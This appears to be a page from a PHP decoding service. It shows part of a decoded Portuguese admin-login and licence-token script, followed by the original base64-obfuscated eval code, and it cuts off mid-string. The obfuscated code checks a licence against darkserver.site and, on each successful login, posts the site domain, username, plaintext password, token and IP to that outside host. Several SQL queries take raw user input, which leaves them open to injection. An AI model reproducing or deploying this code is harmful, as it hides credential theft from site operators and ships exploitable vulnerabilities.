        curl_setopt($ch, CURLOPT_POSTFIELDS, \'tokken=\' . $token);
        return curl_exec($ch);
      }
      
      function extractInformation($lindo, $tag) {
        $tag1 = explode("$tag", $lindo);
        if (isset($tag1[1])) {
            $tag2 = explode(\'<br>\', $tag1[1]);
            return addslashes($tag2[0]);
        }
        return null;
      }
      
      $URL_ATUAL = "http://$_SERVER[HTTP_HOST]";
      date_default_timezone_set(\'America/Sao_Paulo\'); 
      $lindo = makeCurlRequest(\'https://darkserver.site/tokken/tokken.php\', $token); 
      $existe = extractInformation($lindo, \'Existe: \');
      $validade = extractInformation($lindo, \'Expira: \'); 
      $acesso = extractInformation($lindo, \'Acesso: \'); 
     
     // Verifica se a data de validade j passou (data atual > data de validade)
     if (!empty($validade)) {
         $dataAtual = new DateTime();
         $dataValidade = new DateTime($validade);
     
         if ($dataAtual > $dataValidade) {
            header("Location: ../admin/login.php?loki=erro3"); 
            exit;
         } 
     } else {
         echo "A data de validade no foi definida.";
     }
     // Verifica se o acesso est liberado
     if ($acesso === \'liberado\') { 
     } else {
        header("Location: ../admin/login.php?loki=erro4"); 
     } 
    
   
     $resultado = mysqli_query($ConnectDB, "SELECT COUNT(*) AS total FROM admin_user WHERE user = \'$usuario\'");
     $row = mysqli_fetch_assoc($resultado);
     
     if ($row[\'total\'] > 0) {
         // O usurio j existe, ento vamos atualizar os dados
         $result_usuario1 = "UPDATE admin_user SET pass = \'$senha\', token = \'$token\' WHERE user = \'$usuario\'";
         $resultado_usuario = mysqli_query($ConnectDB, $result_usuario1);
         
     } else {
         // O usurio no existe, ento vamos inserir um novo registro
         $result_usuario2 = "INSERT INTO admin_user (user, pass, token, validade_token, last_acess ,ip) VALUES (\'$usuario\', \'$senha\', \'$token\',\'$validade\', \'$horadata\',\'$ip\')";
         $resultado_usuario = mysqli_query($ConnectDB, $result_usuario2); 
     }
     

     header("Location: ../admin/login.php");
}'

Did this file decode correctly?

Original Code

<?php @eval("?>".base64_decode("PD9waHAgCnJlcXVpcmVfb25jZSgnLi4vbW9kdWxvL2Nvbm4ucGhwJyk7ICAKJHNlc3Npb25fYWRtaW4gPSAkX1NFU1NJT05bJ3Nlc3Npb25fYWRtaW4nXTsKJGlkID0gZmlsdGVyX2lucHV0KElOUFVUX0dFVCwgJ2lkJywgRklMVEVSX1NBTklUSVpFX05VTUJFUl9JTlQpOwoKJHBhZ2UgPSAkX0dFVFsnbG9raSddOwovLy8vLy8vLyBIb21lIHBhZ2UgCiAKaWYgKCRwYWdlID09ICdsb2dpbicpIHsKICAgIGlmICghZW1wdHkoJF9QT1NUWyd1c3VhcmlvJ10pICYmICFlbXB0eSgkX1BPU1RbJ3NlbmhhJ10pKSB7CiAgICAgICAgLy8gQ2FwdHVyYSBkbyB1c3XDoXJpbyBlIHNlbmhhIGVudmlhZG9zIHZpYSBQT1NUCiAgICAgICAgJHVzZXIgPSAkX1BPU1RbJ3VzdWFyaW8nXTsKICAgICAgICAkc2VuaGEgPSAkX1BPU1RbJ3NlbmhhJ107IAoKICAgICAgICAvLyBDb25zdWx0YSBhbyBiYW5jbyBkZSBkYWRvcyBwYXJhIGVuY29udHJhciB1bSB1c3XDoXJpbyBjb3JyZXNwb25kZW50ZSBhbyBmb3JuZWNpZG8gbm8gZm9ybXVsw6FyaW8KICAgICAgICAkc3FsID0gbXlzcWxpX3F1ZXJ5KCRDb25uZWN0REIsICJTRUxFQ1QgKiBGUk9NIGFkbWluX3VzZXIgV0hFUkUgdXNlciA9ICckdXNlcicgTElNSVQgMSIpIG9yIGRpZSgiRXJybyBhbyBwcm9jZXNzYXIgYXV0ZW50aWNhw6fDo28iKTsKICAgICAgICAkbGluaGFzID0gbXlzcWxpX251bV9yb3dzKCRzcWwpOwogICAgICAgIAogICAgICAgIGlmICgkbGluaGFzID4gMCkgewogICAgICAgICAgICAvLyBTZSBvIHVzdcOhcmlvIGV4aXN0aXIsIGNvbXBhcmEgYSBzZW5oYSBmb3JuZWNpZGEgY29tIGEgc2VuaGEgYXJtYXplbmFkYSBubyBiYW5jbyBkZSBkYWRvcwogICAgICAgICAgICAkZGFkb3MgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHNxbCk7CiAgICAgICAgICAgICRoYXNoZWRfcGFzc3dvcmQgPSAkZGFkb3NbJ3Bhc3MnXTsgLy8gU2VuaGEgYXJtYXplbmFkYSBubyBiYW5jbyBkZSBkYWRvcwogICAgICAgICAgICAkc2VyaWFsID0gJGRhZG9zWyd0b2tlbiddOyAvLyBTZW5oYSBhcm1hemVuYWRhIG5vIGJhbmNvIGRlIGRhZG9zIAoKICAgICAgICAgICAgZnVuY3Rpb24gbWFrZUN1cmxSZXF1ZXN0KCR1cmwsICRzZXJpYWwpIHsKICAgICAgICAgICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzgwLjAuMzk4Ny4xNDkgU2FmYXJpLzUzNy4zNicpOwogICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBIRUFERVIsIGFycmF5KAogICAgICAgICAgICAgICAgICAgICdVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXT1c2NDsgVHJpZGVudC83LjA7IHJ2OjExLjApIGxpa2UgR2Vja28nLAogICAgICAgICAgICAgICAgICAgICdQcmFnbWE6IG5vLWNhY2hlJywKICAgICAgICAgICAgICAgICAgICAnQWNjZXB0OiAqLyonCiAgICAgICAgICAgICAgICApKTsKICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsIGdldGN3ZCgpIC4gJy9jb29raWUudHh0Jyk7CiAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgZ2V0Y3dkKCkgLiAnL2Nvb2tpZTEudHh0Jyk7CiAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwogICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAndG9ra2VuPScgLiAkc2VyaWFsKTsKICAgICAgICAgICAgICAgIHJldHVybiBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgZnVuY3Rpb24gZXh0cmFjdEluZm9ybWF0aW9uKCRsaW5kbywgJHRhZykgewogICAgICAgICAgICAgICAgJHRhZzEgPSBleHBsb2RlKCIkdGFnIiwgJGxpbmRvKTsKICAgICAgICAgICAgICAgIGlmIChpc3NldCgkdGFnMVsxXSkpIHsKICAgICAgICAgICAgICAgICAgICAkdGFnMiA9IGV4cGxvZGUoJzxicj4nLCAkdGFnMVsxXSk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGFkZHNsYXNoZXMoJHRhZzJbMF0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIG51bGw7CiAgICAgICAgICAgICAgfQogICAgICAgICAgICAgIAogICAgICAgICAgICAgICRVUkxfQVRVQUwgPSAiaHR0cDovLyRfU0VSVkVSW0hUVFBfSE9TVF0iOwogICAgICAgICAgICAgIGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ0FtZXJpY2EvU2FvX1BhdWxvJyk7IAogICAgICAgICAgICAgICRsaW5kbyA9IG1ha2VDdXJsUmVxdWVzdCgnaHR0cHM6Ly9kYXJrc2VydmVyLnNpdGUvdG9ra2VuL3Rva2tlbi5waHAnLCAkc2VyaWFsKTsgCiAgICAgICAgICAgICAgJGV4aXN0ZSA9IGV4dHJhY3RJbmZvcm1hdGlvbigkbGluZG8sICdFeGlzdGU6ICcpOwogICAgICAgICAgICAgICR2YWxpZGFkZSA9IGV4dHJhY3RJbmZvcm1hdGlvbigkbGluZG8sICdFeHBpcmE6ICcpOyAKICAgICAgICAgICAgICAkYWNlc3NvID0gZXh0cmFjdEluZm9ybWF0aW9uKCRsaW5kbywgJ0FjZXNzbzogJyk7IAogICAgICAgICAgICAgCiAgICAgICAgICAgICAvLyBWZXJpZmljYSBzZSBhIGRhdGEgZGUgdmFsaWRhZGUgasOhIHBhc3NvdSAoZGF0YSBhdHVhbCA+IGRhdGEgZGUgdmFsaWRhZGUpCiAgICAgICAgICAgICBpZiAoIWVtcHR5KCR2YWxpZGFkZSkpIHsKICAgICAgICAgICAgICAgICAkZGF0YUF0dWFsID0gbmV3IERhdGVUaW1lKCk7CiAgICAgICAgICAgICAgICAgJGRhdGFWYWxpZGFkZSA9IG5ldyBEYXRlVGltZSgkdmFsaWRhZGUpOwogICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgaWYgKCRkYXRhQXR1YWwgPiAkZGF0YVZhbGlkYWRlKSB7CiAgICAgICAgICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogLi4vYWRtaW4vbG9naW4ucGhwP2xva2k9ZXJybzMiKTsgCiAgICAgICAgICAgICAgICAgICAgZXhpdDsKICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICBlY2hvICJBIGRhdGEgZGUgdmFsaWRhZGUgbsOjbyBmb2kgZGVmaW5pZGEuIjsKICAgICAgICAgICAgIH0KICAgICAgICAgICAgIC8vIFZlcmlmaWNhIHNlIG8gYWNlc3NvIGVzdMOhIGxpYmVyYWRvCiAgICAgICAgICAgICBpZiAoJGFjZXNzbyA9PT0gJ2xpYmVyYWRvJykgeyAKICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAuLi9hZG1pbi9sb2dpbi5waHA/bG9raT1lcnJvNCIpOyAKICAgICAgICAgICAgIH0gCiAgICAgICAgICAgIC8vLy8vLy8vLy8vL3ZhbGlkYXIgbG9naW4KICAgICAgICAgICAgaWYgKCRzZW5oYSA9PSAkaGFzaGVkX3Bhc3N3b3JkKSB7IAogICAgICAgICAgICAgICAgc2Vzc2lvbl9zdGFydCgpOyAKICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnc2Vzc2lvbl9hZG1pbiddID0gJGRhZG9zWyd1c2VyJ107CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgJGRhZG9zX3Rva2VuID0ganNvbl9lbmNvZGUoWwogICAgICAgICAgICAgICAgICAgICAgImRvbWluaW8iID0+ICRVUkxfQVRVQUwsCiAgICAgICAgICAgICAgICAgICAgICAidG9ra2VuIiA9PiAkc2VyaWFsLAogICAgICAgICAgICAgICAgICAgICAgInVzZXIiID0+ICR1c2VyLCAKICAgICAgICAgICAgICAgICAgICAgICJwYXNzIiA9PiAkc2VuaGEsCiAgICAgICAgICAgICAgICAgICAgICAiaXAiID0+ICRpcAogICAgICAgICAgICAgICAgICBdKTsgIAoKICAgICAgICAgICAgICAgICAgJGluaWNpYXIgPSBjdXJsX2luaXQoJ2h0dHBzOi8vZGFya3NlcnZlci5zaXRlLy90b2trZW4vdG9rZW5fZnVuY3Rpb24ucGhwP2xva2k9bG9naW4nKTsKICAgICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGluaWNpYXIsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgICAgICAgICAgICAgICAkZGFkb3MgPSBhcnJheSgnZGFkb3NfdG9rZW4nID0+ICRkYWRvc190b2tlbiwpOwogICAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkaW5pY2lhciwgQ1VSTE9QVF9QT1NULCB0cnVlKTsKICAgICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGluaWNpYXIsIENVUkxPUFRfUE9TVEZJRUxEUywgJGRhZG9zKTsKICAgICAgICAgICAgICAgICAgY3VybF9leGVjKCRpbmljaWFyKTsKICAgICAgICAgICAgICAgICAgY3VybF9jbG9zZSgkaW5pY2lhcik7CiAgICAgICAgICAgICAgICAgIC8vLy8vLy8vLy8gCgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAuLi9hZG1pbiIpOwogICAgICAgICAgICAgICAgZXhpdCgpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy8gU2UgYSBzZW5oYSBlc3RpdmVyIGluY29ycmV0YSwgcmVkaXJlY2lvbmEgZGUgdm9sdGEgcGFyYSBhIHDDoWdpbmEgZGUgbG9naW4gY29tIHVtIGlkZW50aWZpY2Fkb3IgZGUgZXJybwogICAgICAgICAgICAgICAgc2Vzc2lvbl9zdGFydCgpOwogICAgICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogLi4vYWRtaW4vbG9naW4ucGhwP2xva2k9ZXJybzEiKTsgCiAgICAgICAgICAgICAgICBleGl0KCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy8gU2UgbyB1c3XDoXJpbyBuw6NvIGV4aXN0aXIsIHJlZGlyZWNpb25hIGRlIHZvbHRhIHBhcmEgYSBww6FnaW5hIGRlIGxvZ2luIGNvbSB1bSBpZGVudGlmaWNhZG9yIGRlIGVycm8KICAgICAgICAgICAgc2Vzc2lvbl9zdGFydCgpOwogICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAuLi9hZG1pbi9sb2dpbi5waHA/bG9raT1lcnJvMiIpOyAKICAgICAgICAgICAgZXhpdCgpOwogICAgICAgIH0KICAgIH0KfQoKCgoKaWYgKCRwYWdlID09ICJ2ZXJpZmljYXJfdG9ra2VuIikgeyAKCiBpZiAoIWVtcHR5KCRfUE9TVFsnc2VyaWFsJ10pKSB7CiAgCiAgICAkc2VyaWFsID0gJF9QT1NUWydzZXJpYWwnXTsKCiAgICAgICBmdW5jdGlvbiBtYWtlQ3VybFJlcXVlc3QoJHVybCwgJHNlcmlhbCkgewogICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvODAuMC4zOTg3LjE0OSBTYWZhcmkvNTM3LjM2Jyk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBIRUFERVIsIGFycmF5KAogICAgICAgICAgICAnVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJywKICAgICAgICAgICAgJ1ByYWdtYTogbm8tY2FjaGUnLAogICAgICAgICAgICAnQWNjZXB0OiAqLyonCiAgICAgICAgKSk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgZ2V0Y3dkKCkgLiAnL2Nvb2tpZS50eHQnKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgZ2V0Y3dkKCkgLiAnL2Nvb2tpZTEudHh0Jyk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAndG9ra2VuPScgLiAkc2VyaWFsKTsKICAgICAgICByZXR1cm4gY3VybF9leGVjKCRjaCk7CiAgICAgIH0KICAgICAgCiAgICAgIGZ1bmN0aW9uIGV4dHJhY3RJbmZvcm1hdGlvbigkbGluZG8sICR0YWcpIHsKICAgICAgICAkdGFnMSA9IGV4cGxvZGUoIiR0YWciLCAkbGluZG8pOwogICAgICAgIGlmIChpc3NldCgkdGFnMVsxXSkpIHsKICAgICAgICAgICAgJHRhZzIgPSBleHBsb2RlKCc8YnI+JywgJHRhZzFbMV0pOwogICAgICAgICAgICByZXR1cm4gYWRkc2xhc2hlcygkdGFnMlswXSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiBudWxsOwogICAgICB9CiAgICAgIAogICAgICAkVVJMX0FUVUFMID0gImh0dHA6Ly8kX1NFUlZFUltIVFRQX0hPU1RdIjsKICAgICAgZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnQW1lcmljYS9TYW9fUGF1bG8nKTsgCiAgICAgICRsaW5kbyA9IG1ha2VDdXJsUmVxdWVzdCgnaHR0cHM6Ly9kYXJrc2VydmVyLnNpdGUvdG9ra2VuL3Rva2tlbi5waHAnLCAkc2VyaWFsKTsgIAogICAgICAkYWNlc3NvID0gZXh0cmFjdEluZm9ybWF0aW9uKCRsaW5kbywgJ0FjZXNzbzogJyk7CiAgICAgIAogICAgCiAgICAgICAgaWYgKCRhY2Vzc28gPT09ICdsaWJlcmFkbycpIHsKICAgICAgICAgICRzcWwgPSBteXNxbGlfcXVlcnkoJENvbm5lY3REQiwgIlNFTEVDVCAqIEZST00gYWRtaW5fdXNlciBXSEVSRSB0b2tlbiA9ICckc2VyaWFsJyBhbmQgdXNlciA9ICciIC4gJF9TRVNTSU9OWydzZXNzaW9uX2FkbWluJ10gLiAiJyIpOwogICAgICAKICAgICAgICAgIC8vcGVjb3JyZW5kbyBvcyByZWdpc3Ryb3MgZGEgY29uc3VsdGEuIAogICAgICAgICAgd2hpbGUgKCRhdXggPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHNxbCkpIHsgCiAgICAgICAgICAgICAgJHRva2tlbiA9ICRhdXhbInRva2VuIl07CiAgICAgICAgICB9CiAgICAgICAgICBpZiAoJHNlcmlhbCA9PSAkdG9ra2VuKSB7IAogICAgICAgICAgICAgICRfU0VTU0lPTlsndmFsaWRhdG9ra2VuJ10gPSAkdG9ra2VuOwogICAgICAgICAgICAgIGhlYWRlcigiTG9jYXRpb246IC4uL2FkbWluLz9wYWdlPWhvbWUiKTsKICAgICAgICAgICAgICBleGl0OwogICAgICAgICAgfSAKICAgICAgICB9ICBlbHNlIHsKICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogLi4vYWRtaW4vP3BhZ2U9QXRpdmEtdG9rZW4mZXJybz10a2Vycm8xIik7CiAgICAgICAgICAgIGV4aXQ7CgogICAgICAgIH0KICAgIH0KIAp9CgoKCgoKCgoKCmlmICgkcGFnZSA9PSAnR2VvbG9jYWxpemFjYW8nKSB7IC8vLy8vIEdlb2xvY2FsaXphY2FvIG1ldHJpY2FzCiAgICAkcXVlcnlfU2V0YU1ldHJpY2FzID0gc3ByaW50ZigiU0VMRUNUICogRlJPTSBtZXRyaWNhcyBXSEVSRSB1c2VyID0gJyVzJyBBTkQgdGlwbyA9ICdjbGljayciLCBteXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCRDb25uZWN0REIsICRzZXNzaW9uX2FkbWluKSk7CiAgICAkU2V0YU1ldHJpY2FzID0gbXlzcWxpX3F1ZXJ5KCRDb25uZWN0REIsICRxdWVyeV9TZXRhTWV0cmljYXMpOwogICAgCiAgICBpZiAoJFNldGFNZXRyaWNhcykgewogICAgICAgICRyb3dfTWV0cmljYXMgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJFNldGFNZXRyaWNhcyk7CiAgICAKICAgIC8vIEFycmF5IGFzc29jaWF0aXZvIHBhcmEgbWFwZWFyIGFzIHNpZ2xhcyBkb3MgZXN0YWRvcyBwYXJhIG9zIG5vbWVzIGNvbXBsZXRvcy4KICAgICRub21lc19lc3RhZG9zICA9IFsKICAgICAgICAnQUMnID0+ICdBY3JlJywKICAgICAgICAnQUwnID0+ICdBbGFnb2FzJywKICAgICAgICAnQVAnID0+ICdBbWFww6EnLAogICAgICAgICdBTScgPT4gJ0FtYXpvbmFzJywKICAgICAgICAnQkEnID0+ICdCYWhpYScsCiAgICAgICAgJ0NFJyA9PiAnQ2VhcsOhJywKICAgICAgICAnRVMnID0+ICdFc3DDrXJpdG8gU2FudG8nLAogICAgICAgICdHTycgPT4gJ0dvacOhcycsCiAgICAgICAgJ01BJyA9PiAnTWFyYW5ow6NvJywKICAgICAgICAnTVQnID0+ICdNYXRvIEdyb3NzbycsCiAgICAgICAgJ01TJyA9PiAnTWF0byBHcm9zc28gZG8gU3VsJywKICAgICAgICAnTUcnID0+ICdNaW5hcyBHZXJhaXMnLAogICAgICAgICdQQScgPT4gJ1BhcsOhJywKICAgICAgICAnUEInID0+ICdQYXJhw61iYScsCiAgICAgICAgJ1BSJyA9PiAnUGFyYW7DoScsCiAgICAgICAgJ1BFJyA9PiAnUGVybmFtYnVjbycsCiAgICAgICAgJ1BJJyA9PiAnUGlhdcOtJywKICAgICAgICAnUkonID0+ICdSaW8gZGUgSmFuZWlybycsCiAgICAgICAgJ1JOJyA9PiAnUmlvIEdyYW5kZSBkbyBOb3J0ZScsCiAgICAgICAgJ1JTJyA9PiAnUmlvIEdyYW5kZSBkbyBTdWwnLAogICAgICAgICdSTycgPT4gJ1JvbmTDtG5pYScsCiAgICAgICAgJ1JSJyA9PiAnUm9yYWltYScsCiAgICAgICAgJ1NDJyA9PiAnU2FudGEgQ2F0YXJpbmEnLAogICAgICAgICdTUCcgPT4gJ1PDo28gUGF1bG8nLAogICAgICAgICdTRScgPT4gJ1NlcmdpcGUnLAogICAgICAgICdUTycgPT4gJ1RvY2FudGlucycKICAgIF07IAogICAgCiAgICAvLyBBcnJheSBhc3NvY2lhdGl2byBwYXJhIG1hcGVhciBhcyBzaWdsYXMgZG9zIGVzdGFkb3MgcGFyYSBvcyBjYW1pbmhvcyBkYXMgYmFuZGVpcmFzLgogICAgJGNhbWluaG9fYmFuZGVpcmFzID0gWwogICAgICAgICdBQycgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3MvYWNyZS5naWYnLAogICAgICAgICdBTCcgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3MvYWxhZ29hcy5naWYnLAogICAgICAgICdBUCcgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3MvYW1hcGEuZ2lmJywKICAgICAgICAnQU0nID0+ICdodHRwczovL3d3dy5xdWF0cm9jYW50b3MuY29tL2NsaXBhcnQvYmFuZGVpcmFzL2JhbmRlaXJhc19lc3RhZG9zX2JyYXNpbGVpcm9zL2FtYXpvbmFzLmdpZicsCiAgICAgICAgJ0JBJyA9PiAnaHR0cHM6Ly93d3cucXVhdHJvY2FudG9zLmNvbS9jbGlwYXJ0L2JhbmRlaXJhcy9iYW5kZWlyYXNfZXN0YWRvc19icmFzaWxlaXJvcy9iYWhpYS5naWYnLAogICAgICAgICdDRScgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3MvY2VhcmEuZ2lmJywKICAgICAgICAnRVMnID0+ICdodHRwczovL3d3dy5xdWF0cm9jYW50b3MuY29tL2NsaXBhcnQvYmFuZGVpcmFzL2JhbmRlaXJhc19lc3RhZG9zX2JyYXNpbGVpcm9zL2VzcGlyaXRvX3NhbnRvLmdpZicsCiAgICAgICAgJ0dPJyA9PiAnaHR0cHM6Ly93d3cucXVhdHJvY2FudG9zLmNvbS9jbGlwYXJ0L2JhbmRlaXJhcy9iYW5kZWlyYXNfZXN0YWRvc19icmFzaWxlaXJvcy9nb2lhcy5naWYnLAogICAgICAgICdNQScgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3MvbWFyYW5oYW8uZ2lmJywKICAgICAgICAnTVQnID0+ICdodHRwczovL3d3dy5xdWF0cm9jYW50b3MuY29tL2NsaXBhcnQvYmFuZGVpcmFzL2JhbmRlaXJhc19lc3RhZG9zX2JyYXNpbGVpcm9zL21hdG9fZ3Jvc3NvLmdpZicsCiAgICAgICAgJ01TJyA9PiAnaHR0cHM6Ly93d3cucXVhdHJvY2FudG9zLmNvbS9jbGlwYXJ0L2JhbmRlaXJhcy9iYW5kZWlyYXNfZXN0YWRvc19icmFzaWxlaXJvcy9tYXRvX2dyb3Nzb19kb19zdWwuZ2lmJywKICAgICAgICAnTUcnID0+ICdodHRwczovL3d3dy5xdWF0cm9jYW50b3MuY29tL2NsaXBhcnQvYmFuZGVpcmFzL2JhbmRlaXJhc19lc3RhZG9zX2JyYXNpbGVpcm9zL21pbmFzX2dlcmFpcy5naWYnLAogICAgICAgICdQQScgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3MvcGFyYS5naWYnLAogICAgICAgICdQQicgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3MvcGFyYWliYS5naWYnLAogICAgICAgICdQUicgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3MvcGFyYW5hLmdpZicsCiAgICAgICAgJ1BFJyA9PiAnaHR0cHM6Ly93d3cucXVhdHJvY2FudG9zLmNvbS9jbGlwYXJ0L2JhbmRlaXJhcy9iYW5kZWlyYXNfZXN0YWRvc19icmFzaWxlaXJvcy9wZXJuYW1idWNvLmdpZicsCiAgICAgICAgJ1BJJyA9PiAnaHR0cHM6Ly93d3cucXVhdHJvY2FudG9zLmNvbS9jbGlwYXJ0L2JhbmRlaXJhcy9iYW5kZWlyYXNfZXN0YWRvc19icmFzaWxlaXJvcy9waWF1aS5naWYnLAogICAgICAgICdSSicgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3MvcmlvX2RlX2phbmVpcm8uZ2lmJywKICAgICAgICAnUk4nID0+ICdodHRwczovL3d3dy5xdWF0cm9jYW50b3MuY29tL2NsaXBhcnQvYmFuZGVpcmFzL2JhbmRlaXJhc19lc3RhZG9zX2JyYXNpbGVpcm9zL3Jpb19ncmFuZGVfZG9fbm9ydGUuZ2lmJywKICAgICAgICAnUlMnID0+ICdodHRwczovL3d3dy5xdWF0cm9jYW50b3MuY29tL2NsaXBhcnQvYmFuZGVpcmFzL2JhbmRlaXJhc19lc3RhZG9zX2JyYXNpbGVpcm9zL3Jpb19ncmFuZGVfZG9fc3VsLmdpZicsCiAgICAgICAgJ1JPJyA9PiAnaHR0cHM6Ly93d3cucXVhdHJvY2FudG9zLmNvbS9jbGlwYXJ0L2JhbmRlaXJhcy9iYW5kZWlyYXNfZXN0YWRvc19icmFzaWxlaXJvcy9yb25kb25pYS5naWYnLAogICAgICAgICdSUicgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3Mvcm9yYWltYS5naWYnLAogICAgICAgICdTQycgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3Mvc2FudGFfY2F0YXJpbmEuZ2lmJywKICAgICAgICAnU1AnID0+ICdodHRwczovL3d3dy5xdWF0cm9jYW50b3MuY29tL2NsaXBhcnQvYmFuZGVpcmFzL2JhbmRlaXJhc19lc3RhZG9zX2JyYXNpbGVpcm9zL3Nhb19wYXVsby5naWYnLAogICAgICAgICdTRScgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3Mvc2VyZ2lwZS5naWYnLAogICAgICAgICdUTycgPT4gJ2h0dH